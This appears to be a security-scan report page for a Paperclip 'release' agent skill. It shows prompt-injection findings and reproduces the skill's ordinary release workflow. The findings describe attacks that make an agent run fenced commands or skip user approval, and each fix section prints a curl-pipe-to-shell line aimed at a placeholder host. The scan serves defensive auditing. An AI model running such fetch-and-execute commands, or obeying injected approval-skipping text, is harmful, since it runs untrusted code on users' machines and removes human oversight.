CategoryWeightCategory scoreContribution

Securityprompt, exec, net, exfil, eval

35%

13.3 pts

Supply chainhash, typosquat, maintainer, lockfile

20%

100

20.0 pts

Maintenancestaleness, pinning, CI

15%

100

15.0 pts

TransparencySKILL.md, perms, README

15%

100

15.0 pts

Communityinstalls, verify, response

15%

100

15.0 pts

Findings & checks · 3 flagged

Securityscore 38 · 3 findings

HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · .agents/skills/release/SKILL.md

HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.

Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted

excerpt.agents/skills/release/SKILL.md· markdown

88```bash

89git tag --list 'v*' --sort=-version:refname | head -1

90git log --oneline --no-merges

91npm view paperclipai@canary version

92```

94## Step 2 — Draft the Stable Changelog

96Stable changelog files live at:

Occurrences

1 occurrence · at L88

How to fix

Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.

Delete the imperative ("run this", "execute the following") from inside the fence.
If you must show setup, label the block text (not bash) so it reads as prose, not a command.
Move any real installer into a reviewed, version-pinned script in the repo and link to it.

Avoid

```bash
Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh
```

Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.

Framework references

OWASPLLM01 ATLASAML.T0051

Trace & refs

ruleSS-SKILL-INJECT-FENCED-RUN-01sha256e5db8669e2c06bf3…rubric 365aacaView on GitHub

HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · README.md

HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.

Why it matters

The exact value spotted

excerptREADME.md· markdown

283```bash

284npx paperclipai onboard --yes

285```

286

287> **Troubleshooting: private npm registry `.npmrc`**

288>

289> If this fails with an `E404` for `paperclipai` (or similar) and you use a private npm regi

… (108 chars elided on L289)

290>

291> Diagnostic:

Occurrences

1 occurrence · at L283

How to fix

Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.

Delete the imperative ("run this", "execute the following") from inside the fence.
If you must show setup, label the block text (not bash) so it reads as prose, not a command.
Move any real installer into a reviewed, version-pinned script in the repo and link to it.

Avoid

```bash
Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh
```

Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.

Framework references

OWASPLLM01 ATLASAML.T0051

Trace & refs

ruleSS-SKILL-INJECT-FENCED-RUN-01sha256c6d47abf1f781e38…rubric 365aacaView on GitHub

MEDIUMInstruction telling the agent not to ask for approvalSS-SKILL-INJECT-DONT-ASK-01 · Prompt injection · CONTRIBUTING.md

MEDIUM — it fires on intent; the real damage depends on the host agent's own approval-gating.

Why it matters

The text {match} tells the agent to skip the normal "ask the user first" gate. Used adversarially it removes the human-in-the-loop check before destructive or sensitive actions, turning a normally-gated agent into a fire-and-forget executor.

The exact value spotted

excerptCONTRIBUTING.md· markdown

105### Paperclip Gates Must Pass

106

107All Paperclip CI gates (lint, typecheck, tests, build, and any other required checks) must b

… (98 chars elided on L107)

108

109### Greptile Review

Occurrences

1 occurrence · at L107

How to fix

Remove the approval-skipping instruction, or scope it narrowly to a specific safe, reversible action.

Delete blanket "don't ask / no need to confirm" directives from the skill.
If the skill is a genuine autonomous job, restrict the opt-out to a named non-destructive action rather than all actions.

Framework references

OWASPLLM01 ATLASAML.T0051

Trace & refs

ruleSS-SKILL-INJECT-DONT-ASK-01sha25615dae9807bd892c6…rubric 365aacaView on GitHub

Supply chainscore 100 · 0 findings

✓—All supply chain checks passedNo findings in this category for the latest scan.pass

Maintenancescore 100 · 0 findings

✓—All maintenance checks passedNo findings in this category for the latest scan.pass

Transparencyscore 100 · 0 findings

✓—All transparency checks passedNo findings in this category for the latest scan.pass

Communityscore 100 · 0 findings

✓—All community checks passedNo findings in this category for the latest scan.pass

The primary manifest — the file an agent reads to learn what this artifact does.

.agents/skills/release/SKILL.md · 1 file

.agents/skills/release/SKILL.md6.6 KB · Markdown

name: release

description: >

Coordinate a full Paperclip release across engineering verification, npm,

GitHub, smoke testing, and announcement follow-up. Use when leadership asks

to ship a release, not merely to discuss versioning.

Release Coordination Skill

Run the full Paperclip maintainer release workflow, not just an npm publish.

This skill coordinates:

stable changelog drafting via release-changelog
canary verification and publish status from master
Docker smoke testing via scripts/docker-onboard-smoke.sh
manual stable promotion from a chosen source ref
GitHub Release creation
website / announcement follow-up tasks

Trigger

Use this skill when leadership asks for:

"do a release"
"ship the release"
"promote this canary to stable"
"cut the stable release"

Preconditions

Before proceeding, verify all of the following:

.agents/skills/release-changelog/SKILL.md exists and is usable.
The repo working tree is clean, including untracked files.
There is at least one canary or candidate commit since the last stable tag.
The candidate SHA has passed the verification gate or is about to.
If manifests changed, the CI-owned pnpm-lock.yaml refresh is already merged on master.
npm publish rights are available through GitHub trusted publishing, or through local npm auth for emergency/manual use.
If running through Paperclip, you have issue context for status updates and follow-up task creation.

If any precondition fails, stop and report the blocker.

Inputs

Collect these inputs up front:

whether the target is a canary check or a stable promotion
the candidate source_ref for stable
whether the stable run is dry-run or live
release issue / company context for website and announcement follow-up

Step 0 — Release Model

Paperclip now uses a commit-driven release model:

every push to master publishes a canary automatically
canaries use YYYY.MDD.P-canary.N
stable releases use YYYY.MDD.P
the middle slot is MDD, where M is the UTC month and DD is the zero-padded UTC day
the stable patch slot increments when more than one stable ships on the same UTC date
stable releases are manually promoted from a chosen tested commit or canary source commit
only stable releases get releases/vYYYY.MDD.P.md, git tag vYYYY.MDD.P, and a GitHub Release

Critical consequences:

do not use release branches as the default path
do not derive major/minor/patch bumps
do not create canary changelog files
do not create canary GitHub Releases

Step 1 — Choose the Candidate

For canary validation:

inspect the latest successful canary run on master
record the canary version and source SHA

For stable promotion:

choose the tested source ref
confirm it is the exact SHA you want to promote
resolve the target stable version with ./scripts/release.sh stable --date YYYY-MM-DD --print-version

Useful commands:

git tag --list 'v*' --sort=-version:refname | head -1
git log --oneline --no-merges
npm view paperclipai@canary version

Step 2 — Draft the Stable Changelog

Stable changelog files live at:

releases/vYYYY.MDD.P.md

Invoke release-changelog and generate or update the stable notes only.

Rules:

review the draft with a human before publish
preserve manual edits if the file already exists
keep the filename stable-only
do not create a canary changelog file

Step 3 — Verify the Candidate SHA

Run the standard gate:

pnpm -r typecheck
pnpm test:run
pnpm build

If the GitHub release workflow will run the publish, it can rerun this gate. Still report local status if you checked it.

For PRs that touch release logic, the repo also runs a canary release dry-run in CI. That is a release-specific guard, not a substitute for the standard gate.

Step 4 — Validate the Canary

The normal canary path is automatic from master via:

.github/workflows/release.yml

Confirm:

verification passed
npm canary publish succeeded
git tag canary/vYYYY.MDD.P-canary.N exists

Useful checks:

npm view paperclipai@canary version
git tag --list 'canary/v*' --sort=-version:refname | head -5

Step 5 — Smoke Test the Canary

Run:

PAPERCLIPAI_VERSION=canary ./scripts/docker-onboard-smoke.sh

Useful isolated variant:

HOST_PORT=3232 DATA_DIR=./data/release-smoke-canary PAPERCLIPAI_VERSION=canary ./scripts/docker-onboard-smoke.sh

Confirm:

install succeeds
onboarding completes without crashes
the server boots
the UI loads
basic company creation and dashboard load work

If smoke testing fails:

stop the stable release
fix the issue on master
wait for the next automatic canary
rerun smoke testing

Step 6 — Preview or Publish Stable

The normal stable path is manual workflow_dispatch on:

.github/workflows/release.yml

Inputs:

source_ref
stable_date
dry_run

Before live stable:

resolve the target stable version with ./scripts/release.sh stable --date YYYY-MM-DD --print-version
ensure releases/vYYYY.MDD.P.md exists on the source ref
run the stable workflow in dry-run mode first when practical
then run the real stable publish

The stable workflow:

re-verifies the exact source ref
computes the next stable patch slot for the chosen UTC date
publishes YYYY.MDD.P under dist-tag latest
creates git tag vYYYY.MDD.P
creates or updates the GitHub Release from releases/vYYYY.MDD.P.md

Local emergency/manual commands:

./scripts/release.sh stable --dry-run
./scripts/release.sh stable
git push public-gh refs/tags/vYYYY.MDD.P
./scripts/create-github-release.sh YYYY.MDD.P

Step 7 — Finish the Other Surfaces

Create or verify follow-up work for:

website changelog publishing
launch post / social announcement
release summary in Paperclip issue context

These should reference the stable release, not the canary.

Failure Handling

If the canary is bad:

publish another canary, do not ship stable

If stable npm publish succeeds but tag push or GitHub release creation fails:

fix the git/GitHub issue immediately from the same release result
do not republish the same version

If latest is bad after stable publish:

./scripts/rollback-latest.sh <last-good-version>

Then fix forward with a new stable release.

Output

When the skill completes, provide:

candidate SHA and tested canary version, if relevant
stable version, if promoted
verification status
npm status
smoke-test status
git tag / GitHub Release status
website / announcement follow-up status
rollback recommendation if anything is still partially complete

release— agent skill

Is release safe to install?

Release Coordination Skill

Trigger

Preconditions

Inputs

Step 0 — Release Model

Step 1 — Choose the Candidate

Step 2 — Draft the Stable Changelog

Step 3 — Verify the Candidate SHA

Step 4 — Validate the Canary

Step 5 — Smoke Test the Canary

Step 6 — Preview or Publish Stable

Step 7 — Finish the Other Surfaces

Failure Handling

Output

Audit the pieces. Scan the whole. Decide.